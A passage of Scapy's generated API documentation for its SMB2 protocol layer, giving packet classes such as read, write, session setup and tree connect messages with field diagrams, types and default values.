 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |        DATABUFFEROFFSET       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DATALEN                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DATAREMAINING                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Read_Response                      


SMB2_Read_Response fields






	StructureSize

	XLEShortField

	17



	DataBufferOffset

	LEShortField

	None



	DataLen

	LEIntField

	None



	DataRemaining

	LEIntField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2950-L2962]

	








	
class scapy.layers.smb2.SMB2_Session_Logoff_Request(_pkt, /, *, StructureSize=4, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2183-L2189]

	Bases: _SMB2_Payload


	
Command = 2

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Session_Logoff_Request                 


SMB2_Session_Logoff_Request fields






	StructureSize

	XLEShortField

	4



	reserved

	ShortField

	0















	
class scapy.layers.smb2.SMB2_Session_Logoff_Response(_pkt, /, *, StructureSize=4, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2201-L2207]

	Bases: _SMB2_Payload


	
Command = 2

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_Session_Logoff_Response                 


SMB2_Session_Logoff_Response fields






	StructureSize

	XLEShortField

	4



	reserved

	ShortField

	0















	
class scapy.layers.smb2.SMB2_Session_Setup_Request(_pkt, /, *, StructureSize=25, Flags=<Flag 0 ()>, SecurityMode=<Flag 0 ()>, Capabilities=<Flag 0 ()>, Channel=0, SecurityBlobBufferOffset=None, SecurityBlobLen=None, PreviousSessionId=0, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2067-L2102]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 1

	




	
OFFSET = 88

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |     FLAGS     |  SECURITYMODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CHANNEL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SECURITYBLOBBUFFEROFFSET   |        SECURITYBLOBLEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       PREVIOUSSESSIONID                       |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Session_Setup_Request                  


SMB2_Session_Setup_Request fields






	StructureSize

	XLEShortField

	25



	Flags

	FlagsField

	<Flag 0 ()>



	SecurityMode

	FlagsField

	<Flag 0 ()>



	Capabilities

	FlagsField

	<Flag 0 ()>



	Channel

	LEIntField

	0



	SecurityBlobBufferOffset

	XLEShortField

	None



	SecurityBlobLen

	LEShortField

	None



	PreviousSessionId

	XLELongField

	0



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2090-L2102]

	








	
class scapy.layers.smb2.SMB2_Session_Setup_Response(_pkt, /, *, StructureSize=9, SessionFlags=<Flag 0 ()>, SecurityBufferOffset=None, SecurityLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2114-L2170]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 1

	




	
OFFSET = 72

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |          SESSIONFLAGS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SECURITYBUFFEROFFSET     |          SECURITYLEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Session_Setup_Response                 


SMB2_Session_Setup_Response fields






	StructureSize

	XLEShortField

	9



	SessionFlags

	FlagsField

	<Flag 0 ()>



	SecurityBufferOffset

	XLEShortField

	None



	SecurityLen

	LEShortField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2158-L2170]

	




	
setfieldval(attr, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2151-L2156]

	








	
class scapy.layers.smb2.SMB2_Signing_Capabilities(_pkt, /, *, SigningAlgorithmCount=None, SigningAlgorithms=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1943-L1962]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1961-L1962]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     SIGNINGALGORITHMCOUNT     |       SIGNINGALGORITHMS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SMB2_Signing_Capabilities                  


SMB2_Signing_Capabilities fields






	SigningAlgorithmCount

	FieldLenField

	None



	SigningAlgorithms

	FieldListField

	[]















	
class scapy.layers.smb2.SMB2_Transport_Capabilities(_pkt, /, *, Flags=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1888-L1902]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1901-L1902]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Transport_Capabilities                 


SMB2_Transport_Capabilities fields






	Flags

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.smb2.SMB2_Tree_Connect_Request(_pkt, /, *, StructureSize=9, Flags=<Flag 0 ()>, PathBufferOffset=None, PathLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2220-L2256]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 3

	




	
OFFSET = 72

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PATHBUFFEROFFSET       |            PATHLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SMB2_Tree_Connect_Request                  


SMB2_Tree_Connect_Request fields






	StructureSize

	XLEShortField

	9



	Flags

	FlagsField

	<Flag 0 ()>



	PathBufferOffset

	XLEShortField

	None



	PathLen

	LEShortField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2244-L2256]

	








	
class scapy.layers.smb2.SMB2_Tree_Connect_Response(_pkt, /, *, StructureSize=16, ShareType=0, Reserved=0, ShareFlags=<Flag 48 (AUTO_CACHING+NO_CACHING)>, Capabilities=<Flag 0 ()>, MaximalAccess=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2268-L2311]

	Bases: _SMB2_Payload


	
Command = 3

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |   SHARETYPE   |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SHAREFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MAXIMALACCESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Tree_Connect_Response                  


SMB2_Tree_Connect_Response fields






	StructureSize

	XLEShortField

	16



	ShareType

	ByteEnumField

	0



	Reserved

	ByteField

	0



	ShareFlags

	FlagsField

	<Flag 48 (AUTO_CACHING+NO_CACHING)>



	Capabilities

	FlagsField

	<Flag 0 ()>



	MaximalAccess

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.smb2.SMB2_Tree_Disconnect_Request(_pkt, /, *, StructureSize=4, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2319-L2325]

	Bases: _SMB2_Payload


	
Command = 4

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_Tree_Disconnect_Request                 


SMB2_Tree_Disconnect_Request fields






	StructureSize

	XLEShortField

	4



	Reserved

	XLEShortField

	0















	
class scapy.layers.smb2.SMB2_Tree_Disconnect_Response(_pkt, /, *, StructureSize=4, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2333-L2339]

	Bases: _SMB2_Payload


	
Command = 4

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_Tree_Disconnect_Response                


SMB2_Tree_Disconnect_Response fields






	StructureSize

	XLEShortField

	4



	Reserved

	XLEShortField

	0















	
class scapy.layers.smb2.SMB2_Write_Request(_pkt, /, *, StructureSize=49, DataBufferOffset=None, DataLen=None, Offset=0, FileId=<SMB2_FILEID  |>, Channel=0, RemainingBytes=0, WriteChannelInfoBufferOffset=None, WriteChannelInfoLen=None, Flags=<Flag 0 ()>, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2976-L3036]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 9

	




	
OFFSET = 112

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |        DATABUFFEROFFSET       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DATALEN                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |            CHANNEL            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         REMAININGBYTES        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |  WRITECHANNELINFOBUFFEROFFSET |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      WRITECHANNELINFOLEN      |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Write_Request                      


SMB2_Write_Request fields






	StructureSize

	XLEShortField

	49



	DataBufferOffset

	LEShortField

	None



	DataLen

	LEIntField

	None



	Offset

	LELongField

	0



	FileId

	PacketField

	<SMB2_FILEID  |>



	Channel

	LEIntEnumField

	0



	RemainingBytes

	LEIntField

	0



	WriteChannelInfoBufferOffset

	LEShortField

	None



	WriteChannelInfoLen

	LEShortField

	None



	Flags

	FlagsField

	<Flag 0 ()>



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3023-L3036]

	








	
class scapy.layers.smb2.SMB2_Write_Response(_pkt, /, *, StructureSize=17, Reserved=0, Count=0, Remaining=0, WriteChannelInfoBufferOffset=0, WriteChannelInfoLen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3048-L3058]

	Bases: _SMB2_Payload


	
Command = 9

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COUNT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           REMAINING                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  WRITECHANNELINFOBUFFEROFFSET |      WRITECHANNELINFOLEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Write_Response                     


SMB2_Write_Response fields






	StructureSize

	XLEShortField

	17



	Reserved

	LEShortField

	0



	Count

	LEIntField

	0



	Remaining

	LEIntField

	0



	WriteChannelInfoBufferOffset

	LEShortField

	0



	WriteChannelInfoLen

	LEShortField

	0















	
scapy.layers.smb2.SMB2computePreauthIntegrityHashValue(PreauthIntegrityHashValue, s, HashId='SHA-512')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4034-L4043]

	Update the PreauthIntegrityHashValue






	
class scapy.layers.smb2.SMBSession(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4088-L4252]

	Bases: DefaultSession

A SMB session within a TCP socket.


	
computeSMBConnectionPreauth(*negopkts)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4150-L4165]

	




	
computeSMBSessionKey(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
computeSMBSessionPreauth(*sesspkts)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4167-L4183]

	




	
in_pkt(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4187-L4191]

	Incoming SMB packet






	
out_pkt(pkt, Compounded=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4193-L4245]

	Outgoing SMB packet


	Parameters:

	
	pkt – the packet to send


	Compound – if True, will be stack to be send with the next
un-compounded packet









	Handles:
	
	handle compounded requests (if any): [MS-SMB2] 3.3.5.2.7


	handles signing (if required)













	
process(pkt: Packet)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4247-L4252]

	








	
class scapy.layers.smb2.SMBStreamSocket(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4049-L4085]

	Bases: StreamSocket

A modified StreamSocket to dissect SMB compounded requests
[MS-SMB2] 3.3.5.2.7


	
recv(x=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4060-L4075]

	




	
static select(sockets, remain=0.05)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4081-L4085]

	




	
send(x, Compounded=False, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L4077-L4079]

	








	
class scapy.layers.smb2.SOCKADDR_STORAGE(_pkt, /, *, Family=2, Port=0, IPv4Adddress=None, Reserved=b'', FlowInfo=0, IPv6Address=None, ScopeId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3228-L3257]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(_)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3256-L3257]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FAMILY            |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          IPV4ADDDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            FLOWINFO                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          IPV6ADDRESS                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SCOPEID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SOCKADDR_STORAGE                       


SOCKADDR_STORAGE fields






	Family

	LEShortEnumField

	2



	Port

	ShortField

	0



	IPv4Adddress

	IPField (Cond)

	None



	Reserved

	StrFixedLenField (Cond)

	b''



	FlowInfo

	LEIntField (Cond)

	0



	IPv6Address

	IP6Field (Cond)

	None



	ScopeId

	LEIntField (Cond)

	0















	
class scapy.layers.smb2.STORAGE_OFFLOAD_TOKEN(_pkt, /, *, TokenType=4294901761, Reserved=0, TokenIdLength=None, TokenId=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3320-L3332]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TOKENTYPE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           |         TOKENIDLENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TOKENID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. STORAGE_OFFLOAD_TOKEN                    


STORAGE_OFFLOAD_TOKEN fields






	TokenType

	LEIntEnumField

	4294901761



	Reserved

	LEShortField

	0



	TokenIdLength

	FieldLenField

	None



	TokenId

	StrFixedLenField

	b''















	
class scapy.layers.smb2.WINNT_ACCESS_ALLOWED_ACE(_pkt, /, *, Mask=<Flag 0 ()>, Sid=<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L936-L940]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. WINNT_ACCESS_ALLOWED_ACE                   


WINNT_ACCESS_ALLOWED_ACE fields






	Mask

	FlagsField

	<Flag 0 ()>



	Sid

	PacketField

	<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>















	
